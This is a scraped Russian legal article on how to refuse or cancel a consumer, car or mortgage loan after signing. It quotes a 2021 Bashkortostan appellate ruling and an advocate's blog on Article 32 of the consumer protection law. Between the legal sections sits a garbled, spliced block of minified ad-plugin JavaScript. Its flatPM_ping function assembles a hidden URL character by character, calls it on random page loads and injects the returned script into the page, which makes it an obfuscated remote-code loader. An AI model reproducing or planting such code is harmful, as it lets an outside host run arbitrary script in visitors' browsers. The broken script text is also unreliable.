Как отказаться от кредита после подписания договора | Принцип права – интернет журнал

Что нужно учесть при расторжении кредитного договора

Кредитный договор – это документ, заключенный с финансовой организацией, говорящий о том, что перед заемщиком возникают обязательства. Оформить отказ, расторгнуть или признать такой документ недействительным крайне сложно. По одной простой причине – в банках работает целый отдел опытных юристов, которые и создают условия договоров.

К сожалению, в практике не так много случаев, когда суд принял сторону заемщиков. Потому, что другой стороной при подписании договоров являются обычные люди, которые не могут знать всех тонкостей законодательства. Следовательно, к такому мероприятию как оформление кредита лучше относиться с осторожностью.

https://www.youtube.com/watch?v=jN04IaxExPo

Если же возникла ситуация при которой требуется расторгнуть договор с банком, то заемщику нужно учесть некоторые моменты:

  1. Не стоит откладывать визит в офис банка на потом. Лучше всего уведомить банк о необходимости отказа в день кредитования. Это позволит сохранить клиенту значительные суммы денег;
  2. Отказ и расторжение договора будет происходить строго по условиям, оговоренным в самом документе. Поэтому следует изучить этот пункт еще до посещения офиса банка;
  3. Урегулировать спорные вопросы с банком мирным путем. Иногда стоит согласиться с предложениями банков для того, чтобы сохранить не только нервы, но и дружеские отношения. Такой подход положительно скажется в будущем;
  4. Внимательно изучить договор еще до его подписания. Сотрудники не могут обязать клиента подписывать документ здесь и сейчас. При необходимости можно взять один экземпляр домой. Такой шаг позволит подчеркнуть важные моменты, задать дополнительные вопросы.

Следует отметить, что оформление кредита – это не только возможность приобрести желаемую вещь сразу, но и взвешенный и продуманный шаг. Только объективная оценка ситуации сможет избавить от возможных неприятностей при отказе от кредитования.

Как отказаться от автокредита после подписания договора

Здравствуйте Светлана!
Отказаться от автокредита после подписания договора полностью или в части можно либо путем заключения с банком и автосалоном соглашения о расторжении договора (последствия такого действия необходимо заранее осмыслить, внимательно изучив условия договоров в части штрафных санкций и т.п., кроме того, расторжение договора повлечет возврат транспортного средства), при этом на расторжение договора необходимо согласие всех сторон, или путем признания договора недействительным полностью (или в части) в судебном порядке либо путем его расторжения в судебном порядке.
Признание недействительным в части дополнительных услуг возможно, если вы докажете, что данные услуги были вам навязаны, вы не могли от них отказаться, либо вы, как потребитель не были проинформированы обо всех существенных условиях.
Расторжение договора в судебном порядке возможно при существенном нарушении его условий (однако, из ваших объяснений таковых не усматривается).
Ниже я привожу пример из судебной практики по делу со схожими обстоятельствами по судебному спору с Банком Сетелем, из которого вы увидите, какими нормами права и обстоятельствами руководствуются суды, рассматривая аналогичные дела.
Однако в любом случае, рекомендую вам обратиться за очной консультацией к адвокату, ведь только после изучения ваших документов можно говорить о непосредственной судебной перспективе дела.

ВЕРХОВНЫЙ СУД РЕСПУБЛИКИ БАШКОРТОСТАН

АПЕЛЛЯЦИОННОЕ ОПРЕДЕЛЕНИЕ
от 22 марта 2021 г. по делу N 33-5477/2021

Судебная коллегия по гражданским делам Верховного Суда Республики Башкортостан в составе:
председательствующего Нурисламова Ф.Т.
судей Гибадуллиной Л.Г.
Портянова А.Г.
при секретаре ФИО3
рассмотрела в открытом судебном заседании гражданское дело по апелляционной жалобе Региональной общественной организации защиты прав потребителей «Форт-Юст» Республики Башкортостан на решение Дюртюлинского районного суда Республики Башкортостан от дата, которым постановлено:
в удовлетворении исковых требований Региональной общественной организации защиты прав потребителей «Форт-Юст» Республики Башкортостан поданного в защиту интересов Ф.А.Р. к Обществу с ограниченной ответственностью «Сетелем Банк» о защите прав потребителя, признании недействительными условий кредитного договора, взыскании комиссии, неустойки, штрафа и компенсации морального вреда, отказать.
Заслушав доклад судьи Верховного Суда Республики Башкортостан Гибадуллиной Л.Г., судебная коллегия

установила:

Региональная общественная организация защиты прав потребителей «Форт-Юст» Республики Башкортостан обратилась в суд в защиту интересов Ф.А.Р. с иском к ООО «Сетелем Банк» о защите прав потребителя, признании недействительными условий кредитного договора, взыскании комиссии, неустойки, штрафа и компенсации морального вреда. Требования мотивированы тем, что дата на основании договора о предоставлении целевого потребительского кредита на приобретение автотранспортного средства N … Ф.А.Р. предоставлен кредит в сумме … рублей сроком исполнения по дата. В сумму кредита включены платежи за подключение к Программе добровольного страхования в размере … рублей, а также услуга sms-информатор в сумме … рублей. Предоставление кредита обусловлено обязательным заключением договора страхования и оплатой услуги sms-информирования. От дополнительных услуг потребитель Ф.А.Р. не имела возможности отказаться. Просил признать недействительными пункты договора о предоставлении потребительского кредита на приобретение автотранспортного средства в части подключения к программе коллективного добровольного страхования и в части оплаты стоимости услуги «sms-информатор», взыскать с ответчика в пользу Ф.А.Р. сумму причиненных убытков размере … рублей и … рублей, неустойку в размере … рублей, компенсацию морального вреда … рублей, штраф за неудовлетворение требований потребителя в добровольном порядке, также взыскать в пользу РОО ЗПП «Форт-Юст» Республики Башкортостан штраф за неудовлетворение требований потребителя в добровольном порядке.
Суд постановил указанное выше решение, с которым не согласилась РООП ЗПП «Форт-Юст» РБ, подана апелляционная жалоба, в обоснование которой указано, что услуги по страхованию и дополнительные услуги Банком Ф.А.Р. были навязаны.
Лица, участвующие в деле и не явившиеся на апелляционное рассмотрение дела, о времени и месте рассмотрения извещены надлежащим образом, об уважительных причинах неявки не сообщали, в связи с чем, на основании статей 167, 327 Гражданского процессуального кодекса Российской Федерации, судебная коллегия находит возможным рассмотрение дела в их отсутствие.
Исследовав материалы гражданского дела, выслушав мнение сторон, обсудив доводы, изложенные в апелляционной жалобе, проверив законность и обоснованность решения суда в пределах доводов апелляционной жалобы, судебная коллегия приходит к следующему.
В соответствии с частью 1 статьи 327.1 Гражданского процессуального кодекса Российской Федерации суд апелляционной инстанции рассматривает дело в пределах доводов, изложенных в апелляционных жалобе, представлении и возражениях относительно жалобы, представления.
Согласно части 1 статьи 195 Гражданского процессуального кодекса Российской Федерации решение суда должно быть законным и обоснованным.
В силу статьи 421 Гражданского кодекса Российской Федерации граждане и юридические лица свободны в заключении договора.
Условия договора определяются по усмотрению сторон, кроме случаев, когда содержание соответствующего условия предписано законом или иными правовыми актами (статья 422 ГК РФ).
В соответствии со статьей 432 Гражданского кодекса Российской Федерации договор считается заключенным, если между сторонами, в требуемой в подлежащих случаях форме, достигнуто соглашение по всем существенным условиям договора.
Существенными являются условия о предмете договора, условия, которые названы в законе или иных правовых актах как существенные или необходимые для договоров данного вида, а также все те условия, относительно которых по заявлению одной из сторон должно быть достигнуто соглашение.
На основании статьи 819 Гражданского кодекса Российской Федерации по кредитному договору банк или иная кредитная организация (кредитор) обязуются предоставить денежные средства (кредит) заемщику в размере и на условиях, предусмотренных договором, а заемщик обязуется возвратить полученную денежную сумму и уплатить проценты на нее.
В силу статьи 168 Гражданского кодекса Российской Федерации сделка, не соответствующая требованиям закона или иных правовых актов, ничтожна, если закон не устанавливает, что такая сделка оспорима, или не предусматривает иных последствий нарушения.
В соответствии с частью 2 статьи 167 Гражданского кодекса Российской Федерации при недействительности сделки каждая из сторон обязана возвратить другой все полученное по сделке, а в случае невозможности возвратить полученное в натуре (в том числе тогда, когда полученное выражается в пользовании имуществом, выполненной работе или предоставленной услуге) возместить его стоимость, если иные последствия недействительности сделки не предусмотрены законом.
Согласно пункту 1 статьи 16 Закона Российской Федерации «О защите прав потребителей» условия договора, ущемляющие права потребителя по сравнению с правилами, установленными законами или иными правовыми актами Российской Федерации в области защиты прав потребителей, признаются недействительными.
Если в результате исполнения договора, ущемляющего права потребителя, у него возникли убытки, они подлежат возмещению изготовителем (исполнителем, продавцом) в полном объеме.
Отказывая в удовлетворении исковых требований РООП ЗПП «Форт-Юст» Республики Башкортостан, суд первой инстанции, проанализировав условия кредитного договора, пришел к выводу, что оспариваемые условия кредитного договора являются согласованными сторонами и законными, не могут быть признаны недействительными, права Ф.А.Р. предоставлением услуги страхования и услуги sms-информатор не нарушены, данные услуги предоставлены ей по собственному волеизъявлению.
Данные выводы суда являются правильными и подтверждаются материалами дела.
Из материалов дела следует, что дата между Ф.А.Р. и ООО «Сетелем Банк» заключен кредитный договор N …, по условиям которого Банк предоставил заемщику кредит в размере … рублей на приобретение автотранспортного средства, сроком на 60 месяцев под 20% годовых, полная стоимость кредита 21,94% годовых.
Согласно пунктам 1.4, 1.7 указанного кредитного договора, Банк предоставляет заемщику кредит, в том числе, на оплату страховой премии за весь срок кредита, в размере 40 027,68 рублей, на оплату стоимости услуги sms-информатор за весь срок кредита, в размере … рублей.
Согласно пунктам 18.1 — 18.7 кредитного договора Ф.А.Р. воспользовалась дополнительными услугами, в том числе: получение кредита для оплаты страховой премии и услуги sms-информатор, дала согласие на подключение к Программе добровольного страхования и получении информации любого характера. От услуг в виде предоставления кредита на оплату дополнительного оборудования, информации, заключения договора страхования от рисков, связанных с утратой вещи, подключения к программе помощи на дорогах Ф.А.Р. отказалась.
Согласно пункту 22 кредитного договора Ф.А.Р. заключила с ООО Страховая Компания «Сбербанк страхование жизни» договор личного страхования, срок страхования 60 месяцев, страховая премия … рублей.
В пункте 18 Индивидуальных условий договора усматривается, что заемщику предоставлена информация о дополнительных услугах, приобретаемых согласно его волеизъявлению, которые заемщик мог приобрести, либо отказаться от них проставив галочку в поле «просит» или «не просит» предоставить ему какую-либо из дополнительных услуг.
Из пункта 18.3 данного договора следует, что заемщик Ф.А.Р. выразила безусловное согласие на подключение к Программе страхования с выбранной страховой компанией, указанной в пункте 22 Договора, то есть, с ООО Страховая Компания «Сбербанк Страхование Жизни».
Таким образом, условия кредитного договора предусматривали возможность отказаться от дополнительных услуг в случае отсутствия в их надобности заемщику, однако Ф.А.Р. выразила согласие на подключения ее услуги по страхованию.
Кроме того в пункте 18 договора указано, что заемщик подтверждает, что уведомлена о добровольности приобретения дополнительных услуг, ознакомлена и согласна с условиями их оказания, а также о том, что ее согласие/несогласие на приобретение вышеуказанных услуг не влияет на решение кредитора о предоставлении ему кредита.
Договор о предоставлении кредита подписаны собственноручно заемщиком Ф.А.Р., которая обязавшись соблюдать условия договора, также подтвердила своей подписью тот факт, что уведомлена о добровольности приобретения дополнительных услуг, ознакомлена и согласна с условиями и порядком отказа от указанных услуг, а также уведомлена о том, что ее согласие/несогласие на приобретение услуг не влияет на решение банка о предоставлении кредита. При этом, подтвердила, что она была полностью уведомлена Банком и понимает, что в случае заключения договора страхования она может отказаться от этих услуг.
Достаточных и бесспорных доказательств того, что кредит выдан только с условием заключения договора страхования КАСКО, что истцу отказывали в заключении кредитного договора без включения оспариваемых условий, истцом в нарушение статьи 56 ГПК РФ не представлено, а судом таковых не добыто
На основании изложенного, суд первой инстанции правомерно отказал Ф.А.Р. в удовлетворении исковых требований, поскольку при заключении кредитного договора ей была предоставлена полная информация о кредитном договоре и его условиях, к моменту подписания кредитного договора она располагала достоверной информацией об отказе от дополнительных услуг по страхованию, Банк не обуславливал заключение кредитного договора обязательным заключением договора страхования, услуги по страхованию истцом были выбраны добровольно.
Доводы апелляционной жалобы истца о том, что услуга по страхованию была навязана, судебная коллегия считает несостоятельными.
Кроме того, в соответствии с пунктом 2 статьи 16 Закона Российской Федерации от дата N … «О защите прав потребителей», запрещается обусловливать приобретение одних товаров (работ, услуг) обязательным приобретением иных товаров (работ, услуг). Убытки, причиненные потребителю вследствие нарушения его права на свободный выбор товаров (работ, услуг), возмещаются продавцом (исполнителем) в полном объеме.
Таким образом, приобретение заемщиком услуг банка по кредитованию не обусловлено приобретением других его услуг, поскольку услуги по страхованию предоставляет третье лицо, а не банк. Соответственно, сам банк не оказывает услуги по страхованию, а предоставляет лишь кредит, следовательно, положения пункта 2 статьи 16 Закона Российской Федерации «О защите прав потребителей» не могут быть применены в рассматриваемой ситуации.
Каких-либо новых доказательств, которые не были бы рассмотрены судом первой инстанции и могли бы служить основанием к отмене обжалованного решения суда, в апелляционной жалобе не содержится.
С учетом изложенного, судебная коллегия не находит доводы апелляционной жалобы убедительными, влекущими отмену решения суда, принятого в соответствии с требованиями материального и процессуального права.
На основании изложенного, руководствуясь статьями 328 — 329 Гражданского процессуального кодекса Российской Федерации, судебная коллегия по гражданским делам Верховного Суда Республики Башкортостан

Предлагаем ознакомиться  Снять автомобиль с учета в ГИБДД 🚗 стоимость снятия с учета ТС в Москве | MSK-MO-GIBDD

определила:

решение Дюртюлинского районного суда Республики Башкортостан от дата оставить без изменения, апелляционную жалобу Региональной общественной организации защиты прав потребителей «Форт-Юст» Республики Башкортостан в защиту интересов Ф.А.Р. — без удовлетворения.

Председательствующий
Ф.Т.НУРИСЛАМОВ

Судьи
Л.Г.ГИБАДУЛЛИНА
А.Г.ПОРТЯНОВ

Как отказаться от кредита после подписания договора | принцип права – интернет журнал

«:’

‘:»»,document.createElement(«div»),p=ff(window),b=ff(«body»),m=void 0===flatPM_getCookie(«flat_modal_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» o.ID «_mb»),i=»scroll.flatmodal» o.ID,g=»mouseleave.flatmodal» o.ID » blur.flatmodal» o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&»true»==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie&&m&&(flatPM_setCookie(«flat_modal_» o.ID «_mb»,!1),ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l()),void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l())},ff(«body > *»).eq(0).before(‘

‘ c «

«),w=document.querySelector(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_modal-content’),-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_cross’,function(){flatPM_setCookie(«flat_out_» o.ID «_mb»,!1)})),void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=o.how.outgoing.indent?’ style=»bottom:’ o.how.outgoing.indent ‘px»‘:»»,c=»true»==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count «

«:’

‘:»»,p=ff(window),h=»scroll.out» o.ID,g=»mouseleave.outgoing» o.ID » blur.outgoing» o.ID,m=void 0===flatPM_getCookie(«flat_out_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» o.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(o.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘

‘ c «

«);var v,w=document.querySelector(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’);-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=»‘ o.ID ‘»]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘

‘),flat_body.on(«click»,».flat__4_out .flat__4_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».flat__4_modal .flat__4_cross»,function(){ff(this).closest(«.flat__4_modal»).removeClass(«flat__4_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»

«],thead:[1,»

«],tbody:[1,»

«],colgroup:[2,»

«],col:[3,»

«],tr:[2,»

«],td:[3,»

«],th:[3,»

«],_default:[0,»»,»»]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(«div»)),n=(d.exec(e)||[«»,»»])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,»<$1>») n[2],r=n[0];r—;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,200);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «m» «e» «h» «a» «n» «o» «i» «d» «.» «p» «r» «o» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,n=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(«.flat__4_video»);-1!==r.indexOf(«go» «oglesyndication»)?t.append(r):flatPM_setHTML(t[0],r),e.find(«.flat__4_video_flex»).one(«click»,function(){l(this).addClass(«show»)})}),l(«body»).on(«click»,».flat__4_video_item_hover»,function(){var e=l(this),t=e.closest(«.flat__4_video_flex»);t.addClass(«show»);var a=t.find(«.flat__4_timer span»),n=parseInt(o),r=setInterval(function(){a.text(—n),n<=0&&(clearInterval(r),»true»==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(«click»,».flat__4_video_flex .flat__4_cross»,function(){l(this).closest(«.flat__4_video_flex»).remove(),»true»==i&&l(«.flat__4_video_flex»).remove()})};

Как отказаться от кредита после получения денежных средств?

Алгоритм действий клиента при отказе от кредита после подписания договора (когда деньги уже получены), выглядит следующим образом:

  1. Человеку необходимо лично посетить финансовое учреждение и заполнить бланк заявления – это может быть свободная форма, либо сотрудник выдаст готовый образец. Важно! Уведомлять банк следует как можно скорее после того момента, как решение о прекращении договора было принято.
  2. Поданное заявление рассматривается руководством организации. По его факту будет вынесено соответствующее решение, о котором заявителя уведомят письменно. Ответ должен быть информативным и содержать причину данного решения, а также пути его реализации. Если оно не устраивает клиента, то следующий шаг – обращение в судебные инстанции с исковым заявлением.
  3. При согласии заёмщика вернуть уже полученные средства досрочно, он также должен сообщить об этом банку и написать ещё одно заявление.
  4. Нужно попросить сотрудника банка ликвидировать кредитную карту, если средства были переведены на неё. После необходимо получить справку об отсутствии к клиенту материальных претензий.
Предлагаем ознакомиться  Оспорить неверную, неправильную кредитную историю | Банки.ру

Пункт 3 теряет свою актуальность, когда речь идёт о потребительском кредитовании, и следующие требования исполнены:

  • взятые человеком денежные средства и все процентные начисления на эту сумму возвращены им учреждению в полном объеме и в срок не более 30 дней после даты получения денег (если они были целевыми);
  • лицо возвратило весь заём целиком с учётом ставок по процентам и при отказе от кредита в течение 14 дней с момента выдачи суммы – при условии, что речь идет о простом займе.

В ряде случаев финансовые компании, которые дорожат клиентами и собственной репутацией, при расторжении договора с банком по кредиту идут навстречу инициатору и освобождают его от уплаты процентов, если от момента получения денег до расторжения соглашения прошло совсем немного времени.

Когда нельзя отказаться от кредита?

Термин «отказ от кредита» подходит только для 14-дневного или 30-дневного периода, который описывался выше. Как отказаться от кредита после указанного срока?

Отказаться в таком случае нельзя, а вот досрочно погасить кредит – можно. Суть и той, и другой процедуры одинаковая – погашение кредитных обязательств. Но есть небольшие тонкости в процедурах отказа и досрочного погашения.

Главное отличие между этими двумя понятиями:

  • В течение 14 или 30 дней после подписания кредитного договора клиент может без предварительного уведомления внести сумму, которую предоставил ему банк (отказ от кредита);
  • После истечения 14 или 30 дней клиент обязан заранее уведомить о своем желании вернуть деньги (досрочное погашение).

С 2021 года после внесения поправок в Гражданский кодекс РФ кредитополучатели могут досрочно погашать долг без взимания комиссий за эту услуг. Но при этом нужно обязательно заранее сообщить банку о своем намерении.

В ГК указано, что сделать это нужно за 30 дней до даты внесения средств. Однако в кредитных договорах банков этот срок может быть уменьшен. Некоторые банки вносят еще одну корректировку в закон – досрочно погасить ссуду можно после 2 или 3 месяцев с момента подписания соглашения.

Получается, что процедура отказа от кредита позволяет потребителю сэкономить собственные средства. Внести деньги можно в любой момент разрешенного законодательством периода – переплата за использование банковских средств будет минимальной.

В случае с досрочным погашением переплата за кредит увеличивается.

Особенности расторжения по инициативе заемщиков

Договор кредитования оформляют в соответствии со ст. 807 ГК РФ. Он считается исполненным банком от даты передачи заемщику денег. Законом не ограничиваются действия заемщика по отказу от кредита, если он еще не воспользовался деньгами, или досрочно его погасить, если деньги зачислены на его счет.

Есть ряд причин, по которым заемщик вправе отказываться от кредита:

  • прочитал внимательно документы, и увидел, что условия для него невыгодны
  • решил закрыть один кредит, чтобы взять другой. Например, заменить потребительский, на ипотечный
  • не хватает денег для погашения

Расторжение кредитной сделки будет законно, если ни у одной из ее сторон не будет претензий друг к другу. Просто так разорвать договор, чтобы не платить по долгам, не получится.

Процедура расторжения любого соглашения состоит из нескольких этапов:

  1. Одна из сторон приняла решение расторгнуть сделку
  2. Она направляет уведомление об этом другой стороне сделки
  3. Ожидает ответа на сове обращение
  4. Если есть возможность, проблема решается мирным путем
  5. Если ответа от другой стороны в месячный срок не поступило, или он отрицательный, составляет иск в суд
  6. На основании решения суда контракт расторгают принудительно

Если оформлена только заявка, а не соглашение, это ни к чему заемщика не обязывает. Любой документ, который не подписан одной стороной, не имеет юридической силы.

Заемщик может просто перестать общаться с банком, предварительно известив его, что аннулирует заявку. Сообщить можно по телефону, электронной почте, письмом в свободной форме.

Можно и не сообщать, если клиент не намерен в будущем пользоваться услугами этой кредитной организации.

Расторжение договора по ипотеке, автокредиту и кредитной карте

Указанный 14-дневный период отказа от кредита касается только нецелевого потребительского кредита. У остальных кредитов есть свои особенности.

Срок отказа от ипотеки и отказа от автокредита – от целевых кредитов – законодательно увеличен до 30 дней.

Остальные условия расторжения договора остаются неизменными:

  • Необходимо обратиться в банк с письменным заявлением;
  • Финансовые организации не имеют право взимать штраф за отказ от ипотеки или автомобильного кредита;
  • Необходимо вернуть не только сумму ссуды, но и начисленные проценты за истекший срок.

Отказаться от взятого кредита с залогом сложнее, чем от потребительского. Это связано с тем, что банк переводит деньги не на счет заемщика, а на счет застройщика (ипотека) или дилера (автокредит).

Застройщик и продавец автомобиля могут отказаться от возврата денег. Тогда вернуть деньги банку можно только после продажи транспорта или недвижимости. Это может вызвать небольшие денежные потери. Например, автомобиль, купленный вчера в салоне, уже считается бывшим в употреблении. Соответственно, его цена будет меньше, чем заявленная в салоне.

Предлагаем ознакомиться  Обеспечение баланса частных и публичных интересов в судебных решениях Конституционного Суда РФ | Новости | Европейская Конвенция о защите прав человека: право и практика

Как отказаться от кредита, если договор подписан

  • Не активировать кредитную карту – то есть не расплачиваться ей. Обязательство по возврату денег наступит только после того, как часть средств с карты будет снято;
  • Если карта предусматривает льготный период, то нужно вовремя погасить потраченную сумму – и больше не пользоваться кредитным продуктом.

Расторжение потребительского кредитного договора по ст. 32 зозпп

    В  «Обзоре судебной практики по делам, связанным с защитой прав потребителей финансовых услуг» (утв. Президиумом Верховного Суда РФ 27.09.2021) зафиксировано, что ст. 32 Закона о защите прав потребителей (далее — ЗОЗПП) предусматривает возможность потребителя  отказаться от исполнения договора оказания финансовых услуг при условии оплаты исполнителю фактически понесенных им расходов. Автор настоящего блога, действуя в качестве адвоката заемщика-потребителя, опробовал  возможность расторжения кредитного потребительского договора по основаниям, предусмотренным ст. 32 ЗОЗПП. 

Между  банком  и заемщиком был заключен потребительский кредитный договор с уплатой процентов 36% годовых без какого-либо обеспечения.  Заемщик допустил просрочку по кредиту. Банк взыскал задолженность в судебном порядке, но требований о расторжении кредитного договора заявлять не стал. В связи с этим на сумму задолженности продолжили начисляться драконовские проценты. Заемщик, не имевший возможность погасить всю сумму задолженности разом, но желая хоть как-то остановить «лавинообразный поток» начисляемых процентов, подал исковое заявление о расторжении кредитного договора по ст. 32 ЗОЗПП с целью фиксации суммы задолженности.

             Суд первой инстанции отказал в удовлетворении исковых требований .  Суд счел, что у истца не возникло право на расторжение кредитного договора в одностороннем порядке, поскольку по договору имеется непогашенная задолженность. Заемщик подал апелляционную жалобу, полагая, что   наличие задолженности по кредиту не препятствует его расторжению, поскольку расторжение кредитного договора не прекращает обязательства Заемщика по возврату суммы кредита и процентов, задолженность может быть взыскана в судебном порядке. В обоснование правильности своей позиции заемщик сослался на   вопрос 5 «Разъяснений по вопросам, возникающим в судебной практике» «Обзора судебной практики Верховного Суда Российской Федерации N 1 (2021)». В котором указано, что по смыслу приведенных норм, отсутствие предварительной оплаты понесенных расходов не является препятствием для реализации права  на отказ. Односторонний отказ от исполнения договора возмездного оказания услуг не прекращает обязательства заказчика оплатить исполнителю необходимые расходы, которые он понес в счет услуг, как оказанных, так еще и не оказанных, до момента одностороннего отказа заказчика от исполнения договора. Таким образом, расходы, понесенные исполнителем, могут быть оплачены заказчиком как до отказа от исполнения договора возмездного оказания услуг, так и после него, в том числе взысканы с заказчика в судебном порядке. 

Суд апелляционной инстанции не согласился с позицией заемщика и оставил решение об отказе в расторжении кредитного договора без изменения. Такая же судьба постигла и кассационные жалобы заемщика. Верховный Суд РФ   ограничился лаконичным указанием на то, что нижестоящие суды правильно исходили из того, что отсутствуют правовые основания для расторжения договора потребительского кредита. Иными словами ВС РФ признал, что до тех пор, пока существует задолженность по кредиту, нельзя его расторгнуть по основаниям ст. 32 ЗОЗПП. (Определение ВС РФ от 2 ноября 2021 года №16-КФ18-1273).

Коллеги, насколько верен подход ВС РФ и нижестоящих судов? Ведь если задолженность по кредитному договору погашена, то обязательство прекращается фактическим исполнением. То есть фактически исполненный кредитный договор нельзя  расторгнуть. 

Сразу после получения денег

Если кредитное соглашение подписано, заемщику деньги на счет поступили, но он, не потратив ни рубля, решил его расторгнуть, действовать нужно иначе. Здесь следует руководствоваться положением этого договора о досрочном его расторжении по требованию заемщика.

В таком и других аналогичных случаях единственный путь для него — досрочное погашение долга, т.е. возврат банку всех денег, которые у него получены, и выплата процентов за их пользование (1 день).

Любое время нахождения средств на счете заемщика (день, минуты, часы) считается за один день.

Положение усложняется, если на заемные средства приобретается товар. Например, заемщик оформил автокредит, автосалон уже получил деньги, т.е появилась третья сторона, с которой также следует договариваться.

Если, автосалон уже выдал заемщику автомашину и документы на нее, машину назад не примут или выставят большую неустойку.

По закону о защите прав потребителей автомобиль можно возвратить продавцу в течение 15 дней, при обнаружении технической неисправности, допускающей обмен его на другой или возврат денег.

